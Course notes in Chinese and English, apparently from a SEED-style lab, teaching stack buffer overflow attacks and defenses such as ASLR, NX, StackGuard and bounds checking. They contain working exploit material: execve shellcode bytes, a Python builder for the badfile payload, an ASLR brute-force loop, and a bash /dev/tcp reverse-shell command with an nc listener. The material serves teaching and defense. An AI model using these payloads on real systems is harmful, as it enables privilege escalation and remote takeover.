Skip to content

Chapter 3 缓冲区溢出攻击

1 Memory Layout and Stack

1. 1 Process Memory Layout

各区域对应的主要内容
区域 主要内容
Text segment 程序的机器指令,通常具有可读和可执行权限
Data segment 已初始化的全局变量和静态变量
BSS segment 未初始化或初始化为零的全局变量和静态变量
Heap 运行时通过 malloc() 等函数动态分配的内存
Stack 函数参数、返回地址、保存的寄存器、局部变量等

通常情况下,栈从高地址向低地址增长,堆从低地址向高地址增长,堆和栈之间保留一段可供双方增长的空间。

变量位于不同内存区域
int x = 100;                 // 已初始化的全局变量,位于 Data segment

int main()
{
    int a = 2;               // 局部变量,位于 Stack
    float b = 2.5;
    static int y;            // 未初始化的静态变量,位于 BSS segment

    int *ptr = malloc(2 * sizeof(int));  // 动态内存,位于 Heap
    ptr[1] = 5;
    ptr[2] = 6;
    free(ptr);

    return 1;
}

1. 2 Stack Frame

Stack frame(栈帧) 是一次函数调用在栈上使用的区域。一个典型的栈帧包含函数参数、返回地址(return address)、保存的旧帧指针(saved frame pointer)、局部变量以及编译器生成的临时空间和保存的寄存器。

① x86 32-bit

ebp 作为栈基址寄存器(Frame Pointer,帧指针),参数位于 ebp 的正偏移处,局部变量位于负偏移处。

高地址
    参数 2                 12(%ebp)
    参数 1                  8(%ebp)
    返回地址                4(%ebp)
    保存的旧 ebp            0(%ebp)  <- ebp
    局部变量               -4(%ebp)
    局部变量               -8(%ebp)
低地址

示例

void func(int a, int b)
{
    int x, y;

    x = a + b;
    y = a - b;
}

x86 32 位 cdecl 调用约定参数从右向左入栈,访问参数和局部变量时可能生成类似下面的汇编:

movl   12(%ebp), %eax       # 取参数 b
movl    8(%ebp), %edx       # 取参数 a
addl   %edx, %eax           # eax = b + a
movl   %eax, -8(%ebp)       # 保存到局部变量

Exercise:函数 f 的栈帧

Draw the stack frame for the following function.

void f(char *str, int s, int t) {...}
参考答案
高地址
    t                        16(%ebp)
    s                        12(%ebp)
    str                       8(%ebp)
    return address             4(%ebp)
    saved old ebp              0(%ebp)
    局部变量和临时空间       < 0(%ebp)
低地址

② x86-64

x86-64 使用 64 位寄存器,前六个整数或指针参数通常通过寄存器传递。

第七个及之后的参数通常通过栈传递。rbp 可以作为 frame pointer,但编译器也可能通过 -fomit-frame-pointer 省略它,因此攻击者不能总是假设存在一个固定的旧 rbp。

1. 3 Function Invocation and Call Chain

函数调用可以形成调用链,例如 main() -> foo() -> strcpy()。

调用 foo() 时,foo() 会建立自己的栈帧,foo() 再调用 strcpy() 时,strcpy() 又会建立新的栈帧。返回时,函数必须依次恢复调用者的栈帧。

int foo(char *str)
{
    ...
    strcpy(buffer, str);
    ...
}

int main()
{
    ...
    foo(str);
    ...
}

如果 foo() 中的局部数组被写入过多数据,溢出数据可能覆盖 foo() 的保存帧指针和返回地址。函数返回时,CPU 会把被覆盖的内容当成新的控制流地址。

2 Buffer-Overflow Vulnerability

Buffer(缓冲区) 是一段用于保存数据的连续内存。C 语言中的字符串以 \0 作为结束标志,但许多字符串函数不会自动检查目标缓冲区的容量。

示例:Copy Data to Buffer

void main()
{
    char src[40] = "Hello world \0 Extra string";
    char dest[40];

    // copy to dest (destination) from src (source)
    strcpy(dest, src);
}

strcpy(dest, src) 会从 src 复制到第一个 \0 为止,并把结束符一并复制到 dest,不会根据 dest 的实际容量进行边界检查。

示例:Buffer Overflow

void foo(char *str)
{
    char buffer[12];
    strcpy(buffer, str);
}

int main()
{
    char *str = "This is longer than 12";
    foo(str);
    return 1;
}

正常情况下,buffer 只应容纳 12 个字节(包括字符串结束符的空间)。当 str 更长时,strcpy() 会继续向高地址写入,依次覆盖 buffer 之外的局部变量或填充区域、保存的旧帧指针、返回地址以及更高地址处属于调用者的栈数据。

3 Attack Experiment Setup

Vulnerable Program

实验程序从名为 badfile 的文件中读取最多 400 字节,再传给有漏洞的 foo()。

int main(int argc, char **argv)
{
    char str[400];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 400, badfile);
    foo(str);

    printf("Returned Properly\n");
    return 1;
}

foo() 中的目标缓冲区比输入小。

int foo(char *str)
{
    char buffer[100];
    strcpy(buffer, str);
    return 1;
}

Set-UID Version

Set-UID 版本的实验需要暂时关闭地址随机化、栈不可执行和 StackGuard 等影响实验结果的防护。

# 关闭 ASLR
$ sudo sysctl -w kernel.randomize_va_space=0

# 编译:允许栈执行,并关闭 StackGuard
$ gcc -z execstack -fno-stack-protector -o stack stack.c

# 设置为 root-owned Set-UID 程序
$ sudo chown root stack
$ sudo chmod 4755 stack

$ ls -l stack
-rwsr-xr-x 1 root seed ... stack
实验结束后恢复较完整的地址随机化
$ sudo sysctl -w kernel.randomize_va_space=2

4 Launching a Buffer-Overflow Attack

一次典型的攻击构造包括以下步骤:

  1. 找到缓冲区地址
  2. 找到保存的返回地址相对于缓冲区的偏移
  3. 准备 shellcode
  4. 在输入中放入 NOP sled 和 shellcode
  5. 用目标地址覆盖返回地址
  6. 把 payload 写入 badfile,或通过网络发送给服务器

实验中最主要的困难是:

  • Finding the offset and addresses:找到返回地址和缓冲区之间的距离
  • Constructing the input:安排 NOP sled、shellcode、padding 和返回地址
  • Writing exploit code:将地址按正确的字节序写入
  • Shellcode:避免字符串复制函数提前遇到 \0

4. 1 Finding the Offset and Addresses

Set-UID Version

编译一个带调试信息的程序
$ gcc -m32 -z execstack -fno-stack-protector -g -o stack_dbg stack.c
$ touch badfile
$ gdb stack_dbg
在 foo() 入口设置断点并运行
gdb-peda$ b foo
gdb-peda$ run
Breakpoint 1, foo (...)
gdb-peda$ next

执行 strcpy(buffer, str) 前查看帧指针和缓冲区地址
gdb-peda$ p $ebp
$12 = (void *) 0xbfffea98

gdb-peda$ p &buffer
$13 = (char (*)[100]) 0xbfffea2c

gdb-peda$ p/d 0xbfffea98 - 0xbfffea2c
$14 = 108
buffer 起始地址为 0xbfffea2c,保存的旧 ebp 位于距离 buffer 108 字节处,返回地址位于保存的 ebp 上方 4 字节处,因此返回地址相对于 buffer 的典型偏移为 108 + 4 = 112 字节。

Server Version

Server 版本会直接输出 ebp 或 rbp 以及 buffer 的地址。攻击者可以根据两者的差值推断栈帧布局:

Frame Pointer (ebp) inside bof(): 0xffdbf3a8
Buffer's address inside bof():    0xffdbf338

在 32-bit 情况下,两者相差 0x70,保存的返回地址通常位于 ebp + 4,所以返回地址相对缓冲区的偏移约为 0x74。

64-bit 情况下应使用 rbp 和 8 字节地址,并且不能简单套用 32-bit 的偏移。

4. 2 Constructing the Input(badfile)

Payload 的典型布局如下:

  • NOP sled:使用 0x90 填充,为返回地址提供较大的可命中范围
  • Shellcode:放在缓冲区中的机器码
  • Padding:填充到保存返回地址的位置
  • RT(return address):覆盖保存的返回地址,使函数返回到 NOP sled 或 shellcode

32-bit payload 模板

shellcode = (
    "\x31\xc0..."
    "\xcd\x80"
).encode("latin-1")

content = bytearray(0x90 for i in range(400))

# 把 shellcode 放到 payload 的末尾
start = 400 - len(shellcode)
content[start:] = shellcode

# 112 是通过调试得到的返回地址偏移
ret = 0x...
content[112:116] = (ret).to_bytes(4, byteorder="little")

with open("badfile", "wb") as f:
    f.write(content)
  • x86 使用 little-endian,地址 0xAABBCCDD 在文件中的字节顺序为 \xdd\xcc\xbb\xaa
  • 返回地址必须落在 NOP sled 或 shellcode 范围内
  • 使用 strcpy() 时,payload 中的 \0 会被当作字符串结束符,后面的内容不会复制
  • 如果一个完整地址包含 \0,可以考虑部分覆盖、利用原有高位字节,或换用不包含零字节的目标地址

4. 3 Shellcode

32-bit Linux 中使用 execve() 执行 /bin/sh 的经典 shellcode

xor    eax, eax
push   eax              # 字符串结束符
push   "//sh"
push   "/bin"
mov    ebx, esp         # ebx = "/bin//sh"

push   eax              # argv[1] = NULL
push   ebx              # argv[0] = "/bin//sh"
mov    ecx, esp         # ecx = argv

xor    edx, edx         # envp = NULL
xor    eax, eax
mov    al, 0x0b         # execve syscall number
int    0x80

Shellcode Used in the Lab

shellcode = (
    "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
    "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
    "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
    "/bin/bash*"
    "-c*"
    "/bin/ls -l; echo Hello; /bin/tail -n 2 /etc/passwd        *"
    # The * in this line serves as the position marker         *
    "AAAA"   # Placeholder for argv[0] --> "/bin/bash"
    "BBBB"   # Placeholder for argv[1] --> "-c"
    "CCCC"   # Placeholder for argv[2] --> the command string
    "DDDD"   # Placeholder for argv[3] --> NULL
).encode('latin-1')

4. 4 Exercises

Exercise 1

The following function is called in a privileged program. The argument str points to a string that is entirely provided by users (the size of the string is up to 300 bytes). When this function is invoked, the address of the buffer array is 0xAABB0010, while the return address is stored in 0xAABB0050. Please write down the string that you would feed into the program, so when this string is copied to buffer and when the bof() function returns, the privileged program will run your code. In your answer, you don’t need to write down the injected code, but the offsets of the key elements in your string need to be correct. Note: there is a trap in this problem; some people may be lucky and step over it, but some people may fall into it. Be careful.

int bof (char *str)
{   
    char buffer[24];
    strcpy(buffer,str);
    return 1;
}

Exercise 2

Several students had issue with the buffer overflow attack. Their badfile was constructed properly where shell code is at the end of badfile, but when they try different return addresses, they get the following observations. Can you explain why some addresses work and some do not?

buffer address : 0xbffff180
case 1 : retAddr = 0xbffff250 -> Able to get shell access
case 2 : retAddr = 0xbffff280 -> Able to get shell access
case 3 : retAddr = 0xbffff300 -> Cannot get shell access
case 4 : retAddr = 0xbffff310 -> Able to get shell access
case 5 : retAddr = 0xbffff400 -> Cannot get shell access
参考答案

strcpy() 遇到 \0 就会停止复制。按照 little-endian 表示:

0xbffff250 -> 50 f2 ff bf
0xbffff280 -> 80 f2 ff bf
0xbffff300 -> 00 f3 ff bf
0xbffff310 -> 10 f3 ff bf
0xbffff400 -> 00 f4 ff bf

0xbffff300 和 0xbffff400 的最低字节为 0x00,返回地址刚开始被写入就会遇到字符串结束符,无法正确覆盖;其他地址没有这个问题。因此,失败并不一定是地址没有落入 NOP sled,也可能是 payload 被 strcpy() 的零字节截断。

Exercise 3

Assume that we know the buffer address is A, but we don't know the buffer size; we do know the range of the buffer size is from 100 to 600. How do we construct one payload to exploit the buffer overflow vulnerability?

答案

可以构造一个覆盖范围足够大的 payload,在缓冲区起始位置放置 NOP sled 和 shellcode,从可能的返回地址位置开始,连续重复写入一个指向 NOP sled 的地址,payload 长度覆盖从最小缓冲区到最大缓冲区的全部可能位置。

NOP sled | shellcode | padding | A   A   A   A   A   A   A   ...
                                <------ 可能的返回地址范围 ------>

如果保存的返回地址位于 buffer + k,其中 k 落在 100 到 600 加上固定栈帧开销的范围内,那么该位置会被重复填入一个有效地址。

实际实现时需要按 4 字节边界写入地址,把返回地址范围扩大到包含保存的 ebp、返回地址和对齐填充,选择不包含 \0 的地址,或使用部分覆盖。

5 Buffer-Overflow Attacks on 64-bit Programs

Challenge 1: Zeros

典型的 64-bit 用户态地址形如 0x00007ffcca8a71d0,在 little-endian 内存中的高位字节通常为 0x00。如果使用 strcpy(),完整 8 字节地址不能总是直接写入 payload。常见处理方法是:

  • 只覆盖低 6 字节,让原返回地址中已有的高位零字节保持不变
  • 选择和原地址处于同一高位区域的目标地址
  • 使用部分覆盖,使字符串结束符落在不会破坏关键高位的位置
  • 让返回地址指向 NOP sled,而不是要求精确指向 shellcode

因此,64-bit 利用通常依赖原有栈地址的高位布局,而不是把一个完整的 8 字节地址从零写入。

Challenge 2: Not Enough Space

64-bit 地址更长,保存的帧指针和返回地址也可能占用更多空间;当缓冲区较小时,payload 可能没有足够空间同时容纳 shellcode、NOP sled、padding 和被覆盖的 8 字节返回地址。可采用的思路包括:

  • 缩短 shellcode
  • 缩短或取消 NOP sled
  • 把 shellcode 放到环境变量等其他已知内存区域
  • 让返回地址指向缓冲区中的短跳转或现有代码
  • 使用 return-to-libc 或 ROP,避免注入完整 shellcode

6 Reverse Shell

普通的 shellcode 可能在受害机上直接启动一个交互式 shell,但攻击者还需要能够连接到这个 shell。Reverse shell(反向 Shell) 的做法是让受害机主动连接攻击者。

攻击者先监听端口:

$ nc -lnv 9090

Shell 中可以使用 /dev/tcp 建立 TCP 连接:

/bin/bash -i > /dev/tcp/<ip>/<port> 0<&1 2>&1
  • > /dev/tcp/<ip>/<port>:把标准输出发送到远程连接
  • 0<&1:让标准输入来自同一个连接
  • 2>&1:把标准错误也发送到同一个连接

监听端看到连接后,就可以与服务器上的 Shell 交互:

seed@Attacker$ nc -lnv 9090
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [10.0.2.69] port 9090 [tcp/*] accepted ...
seed@Server$      <--- Got a reverse shell!

7 Countermeasures

7. 1 Developer's Approaches

① Check Data Length

开发者必须检查源数据长度和目标缓冲区大小之间的关系:

if (strlen(src) >= sizeof(dest)) {
    return -1;
}

memcpy(dest, src, strlen(src) + 1);

更稳妥的原则是不要让用户决定复制长度,而是由目标缓冲区的容量决定:

snprintf(dest, sizeof(dest), "%s", src);

对于任意二进制数据,应显式传入长度,而不是依赖 \0:

if (input_len > sizeof(dest)) {
    return -1;
}
memcpy(dest, input, input_len);

② Use Safer Libraries

容易造成越界写的函数
strcpy()
strcat()
sprintf()
有边界版本
strncpy(char *dest, const char *src, size_t n);
strncat(char *dest, const char *src, size_t n);
snprintf(char *str, size_t size, const char *format, ...);
  • strncpy() 在源字符串长度大于等于 n 时可能不会写入 \0
  • strncat() 的参数 n 是追加长度,不是目标缓冲区总容量
  • snprintf() 会限制写入容量,但程序仍应检查返回值是否发生截断
  • 不能只把 strcpy() 机械替换为 strncpy() 就认为程序完全安全

③ Use Safer Languages

如果条件允许,可以使用默认进行边界检查、自动管理内存或不允许任意指针运算的语言,从根本上减少 C/C++ 中的内存越界问题。

7. 2 Operating System's Approaches

① Address Space Layout Randomization

ASLR(Address Space Layout Randomization,地址空间布局随机化) 在每次运行时随机改变栈、堆、共享库和其他内存区域的地址,使攻击者无法直接预测 shellcode 或目标函数的位置。

没有 ASLR 时,同一个程序多次运行通常会得到相同的地址。有 ASLR 时,栈或堆地址会变化,攻击者不能直接把返回地址写成固定地址,NOP sled 可以提高命中范围,但不能消除地址不确定性,如果程序泄露地址,ASLR 的效果会显著降低。

ASLR Experiment
#include <stdio.h>
#include <stdlib.h>

void main()
{
    char x[12];
    char *y = malloc(sizeof(char) * 12);

    printf("Address of buffer x (on stack): 0x%x\n", x);
    printf("Address of buffer y (on heap):  0x%x\n", y);
}

Linux 可以通过 kernel.randomize_va_space 控制随机化级别:

# 关闭随机化
$ sudo sysctl -w kernel.randomize_va_space=0

# 部分随机化,主要观察栈地址变化
$ sudo sysctl -w kernel.randomize_va_space=1

# 更完整的随机化,栈和堆地址都可能变化
$ sudo sysctl -w kernel.randomize_va_space=2

ASLR 并不是绝对防护。如果攻击者可以反复启动程序,就可以尝试暴力猜测地址。

Brute-Force Result
#!/bin/bash

SECONDS=0
value=0

while [ 1 ]
do
    value=$((value + 1))
    duration=$SECONDS
    echo "$((duration / 60)) minutes and $((duration % 60)) seconds elapsed."
    echo "The program has been running $value times so far."
    ./stack
done

错误输出中反复出现 Segmentation fault,表示猜测失败;如果某次猜中有效地址,程序可能执行 payload。

② Non-Executable Stack

Non-executable stack(不可执行栈) 通过 NX/DEP 等机制把栈标记为不可执行,栈仍然可以存放输入数据,但 CPU 不允许从栈页取指令执行,即使返回地址成功跳到栈中的 shellcode,也会触发段错误。

32 位 Linux execve("/bin/sh") shellcode 测试程序
/* shellcode.c */
#include <string.h>

const char code[] =
"\x31\xc0\x50\x68//sh\x68/bin"
"\x89\xe3\x50\x53\x89\xe1\x99"
"\xb0\x0b\xcd\x80";

int main(int argc, char **argv)
{
    char buffer[sizeof(code)];
    strcpy(buffer, code);
    ((void(*)())buffer)();
}
实验结果
# 允许栈执行
$ gcc -z execstack shellcode.c
$ ./a.out
$        <-- Got a new shell!

# 禁止栈执行
$ gcc -z noexecstack shellcode.c
$ ./a.out
Segmentation fault (core dumped)

NX 只能阻止执行栈上的新代码,不能阻止跳转到已经存在的可执行代码。因此,攻击者可以使用 return-to-libc:

  1. 不把 shellcode 放在栈上执行
  2. 覆盖返回地址,使其跳转到 libc 中已有的函数,例如 system()
  3. 在栈上布置函数参数,例如 "/bin/sh"
  4. 让已有代码完成攻击者需要的操作

更复杂的形式是 ROP(Return-Oriented Programming),通过一系列已有的指令片段完成计算。NX 能提高攻击难度,但不能单独阻止所有控制流劫持。

③ Shell Program's Defense

即使成功把控制流转移到 /bin/sh,Shell 本身也可能检测到 real UID != effective UID。为了避免被错误使用,某些 shell 会主动放弃特权,把有效 UID 降回真实 UID。这样,攻击者虽然启动了 shell,却不再拥有 root 权限。

如果直接执行会主动降权的 shell,shell 可能把 euid 改回普通用户。实验中可以:

  • 使用支持 privileged mode 的 bash -p
  • 先调用 setuid(0),使真实 UID 和有效 UID 都为 0
  • 使用不会自动降权的 Shell
示例:特权程序可以显式设置真实 UID 后再执行 shell
int main()
{
    char *argv[2];
    argv[0] = "/bin/sh";
    argv[1] = NULL;

    setuid(0);
    execve("/bin/sh", argv, NULL);

    return 0;
}

对应的 revised shellcode 会先执行 setuid(0),再执行 execve("/bin/sh", ...):

在实验中,也可能临时把 /bin/sh 链接到其他 Shell 以观察行为。修改系统链接会影响系统中所有依赖 /bin/sh 的程序,实验结束后必须恢复。

7. 3 Compiler's Approach: StackGuard

StackGuard 是编译器层面的栈溢出防护。它在局部缓冲区和控制数据之间放置一个特殊的 canary(栈保护值):

局部 buffer | canary | saved ebp | return address

函数返回前,编译器插入检查进入函数时保存 canary 和执行函数主体,返回前比较 canary 是否被改变,如果 canary 不匹配,调用失败处理函数并终止程序。

溢出通常从低地址向高地址写入,因此在覆盖返回地址之前必须先覆盖 canary。攻击者不知道正确的 canary 或不能绕过检查时,程序会在控制流被劫持前终止。

StackGuard Experiment
void foo(char *str)
{
    char buffer[12];

    /* Buffer Overflow Vulnerability */
    strcpy(buffer, str);
}

int main(int argc, char *argv[])
{
    foo(argv[1]);
    printf("Returned Properly\n");
    return 0;
}
正常输入
$ ./prog hello
Returned Properly
过长输入
$ ./prog hello0000000000
*** stack smashing detected ***: ./prog terminated

StackGuard Implementation in gcc

GCC 会在函数序言和尾声中插入类似以下逻辑,函数返回前会将栈上的 canary 与线程本地存储中的原值比较。

movl   %gs:20, %ecx
movl   %ecx, -12(%ebp)
xorl   %ecx, %ecx

...

movl   -12(%ebp), %eax
xorl   %gs:20, %eax
je     .L2
call   __stack_chk_fail_local
.L2:
leave
ret

编译时常见选项包括:

-fstack-protector
-fstack-protector-strong
-fno-stack-protector

-fno-stack-protector 会关闭这项防护,实验中常用于展示原始漏洞。

StackGuard Exercise

Can you modify the program below, so even if buffer overflow happens, the program is still safe?

void foo (char *str)
{
    char buffer[12];
    strcpy (buffer, str);
 
    return;
}
参考答案
#include <stdlib.h>
#include <string.h>

int rand = 0x12345678;   // 金丝雀值

void foo(char *str)
{
    int secret = rand;   // 在 buffer 和返回地址之间放金丝雀
    char buffer[12];

    strcpy(buffer, str);

    if (secret != rand)  // 检查是否被溢出覆盖
        abort();         // 被篡改则终止程序

    return;
}

把 secret 放在 buffer 和返回地址之间。溢出会先覆盖 secret,返回前检查发现不一致就 abort(),从而阻止返回地址被利用。

7. 4 Heap-Based Buffer Overflow

缓冲区溢出不只发生在栈上,也可能发生在堆上。

An Example Program
int bof(char *str)
{
    char *buffer;

    buffer = malloc(sizeof(char) * 25);

    /* The following statement has a buffer overflow problem */
    strcpy(buffer, str);

    return 1;
}

int main(int argc, char **argv)
{
    char str[517];
    FILE *badfile;

    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 517, badfile);
    bof(str);

    printf("Returned Properly\n");
    return 1;
}

堆溢出可能覆盖相邻堆对象中的数据、 函数指针、虚函数表指针或回调指针、动态内存分配器的管理信息以及链表节点中的 next 和 pre 指针。

如果溢出覆盖了 p->pre 和 p->next,攻击者可能使 q 指向任意位置,使后续的 q->next = p->next 形成受控写入。这说明堆溢出不一定需要覆盖返回地址,也可以通过破坏堆对象之间的指针关系改变程序行为。

Quiz

The following function is called in a privileged program. The argument str points to a string that is entirely provided by users (the size of the input string is up to 300 bytes). When this function is invoked, the address of buffer[] is 0xAABB1200, the value of the ebp register is 0xAABB1300, and the value of the esp register is 0xAABB1100. Please write down the string that you would feed into the program, so when this string is copied to buffer and when the bof() function returns, the privileged program will run your shellcode (the size of the shellcode is 100 bytes). In your answer, you don’t need to write down the injected code, but the offsets of the key elements in your string need to be correct.

int bof(char *str)
{
    char buffer[20];
    strcpy(buffer, str);
    return 1;
}